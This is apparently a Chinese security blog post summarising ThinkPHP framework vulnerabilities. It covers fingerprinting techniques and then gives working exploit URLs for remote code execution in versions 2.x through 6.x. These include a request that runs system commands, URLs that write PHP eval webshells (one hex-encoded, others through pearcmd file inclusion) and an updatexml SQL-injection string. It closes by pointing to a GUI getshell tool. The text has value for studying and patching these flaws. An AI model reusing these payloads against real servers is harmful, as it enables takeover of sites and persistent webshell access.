框架漏洞汇总

开发框架简单来说可以理解为:为了方便开发而提前设计好的一种开发模式,例如就文件上传的功能而言,如果你自己开发一个这样的功能,可能就需要写很多功能代码,而如果你采用的开发框架,可能某个函数就是最初设计好的进行文件上传功能,那你在需要这个功能的时候,就只需要调用某个函数即可。

TP(THINKPHP)

基本介绍

ThinkPHP是一个轻量级国产PHP开发框架,支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

目前版本信息:ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。

由于其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注业务逻辑。所以使用较广泛,常见于一些违法网站。

指纹识别

FingerprintHub | 侦查守卫(ObserverWard)的指纹库

1、icon判断

2、报错界面

3、错误传参

4、特殊指纹出现logo

/?c=4e5e5d7364f443e28fbf0d3ae744a59a

或者/4e5e5d7364f443e28fbf0d3ae744a59a 等等类似,当thinkphp站点控制器名字是4e5e5d7364f443e28fbf0d3ae744a59a的时候就会显示一个logo出来

5、body特征

body里有”十年磨一剑” 或者”ThinkPHP”

6、请求路径

比如网站路径/index/index/index 或 m=&c=&a= (符合是否符合MCA模式)

Thinkphp架构特性

详情见官方文档: ThinkPHP5.0入门实例教程 · 看云thinkphp中的常见特性

1、目录结构:3版本的所有的文件包括代码,日志,入口文件等均在网站根目录;5和6版本以public文件作为网站根目录,里面只有入口php文件,其余文件都放在上级目录。

2、访问模式:3版本主要访问模式以index.php?m=模块&c=控制器&a=方法为主,也支持其他模式,默认模块为home;5和6版本移除了mca模式,主要以pathinfo模式index.php/模块/控制器/方法为主。 5+的默认模块为index,其中兼容模式: index.php?s=模块/控制器/方法;rewrite模式: 重写路由的自定义访问模式

例如:按照ThinkPHP的规定,下面的url其实是直接执行了d:/xampp/htdocs/thinkphp5/public/index.php这个文件,hinkPHP的开发团队在这个文件中写了一些特定的代码,这些代码最终自动调用了d:/xampp/htdocs/thinkphp5/application/index/controller/index.php中的index()方法

3、配置文件:3版本-Conf/convention.php;5版本-应用配置: config/app.php 数据库配置: config/database.php

漏洞分析

Think PHP漏洞总结(全系列) – lingzhi_sec – 博客园

1、ThinkPHP 2.x/3.0 RCE

ThinkPHP系列漏洞之ThinkPHP 2.x 任意代码执行 – FreeBuf网络安全行业门户

漏洞存在在文件 /ThinkPHP/Lib/Think/Util/Dispatcher.class.php 中,在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。且3版本中未进行修复。常见验证:

index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}
如:
http://192.168.1.21:8080/index.php?s=/index/index/name/${@phpinfo()}
http://192.168.1.21:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D)}

2、ThinkPHP 5.x RCE

ThinkPHP 5.x RCE分析-CSDN博客

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

验证:http://192.168.1.21:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

RCE:http://192.168.1.21:8080/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入shell:http://192.168.1.21:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

3、 Thinkphp5 SQL注入和敏感信息泄露

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响范围:ThinkPHP < 5.1.23

/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

4、ThinkPHP6 多语言本地文件包含漏洞(lang-rce)

影响范围:6.0.1 ≤ ThinkPHP ≤ 6.0.13、ThinkPHP 5.0.x、ThinkPHP 5.1.x

当多语言特性被开启时,攻击者可以使用lang参数来包含任意PHP文件

payload:
?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/shell.php
成功后访问shell.php文件 可以看到phpinfo

/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval($_REQUEST['ailx10']);?>+shell.php HTTP/1.1

工具一把梭

GitHub – Lotus6/ThinkphpGUI: Thinkphp(GUI)漏洞利用工具,各版本TP漏洞检测,命令执行,getshell。

Thinkphp(GUI)漏洞检测工具,支持多个版本的ThinkPHP漏洞检测,包括命令执行和getshell等功能

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇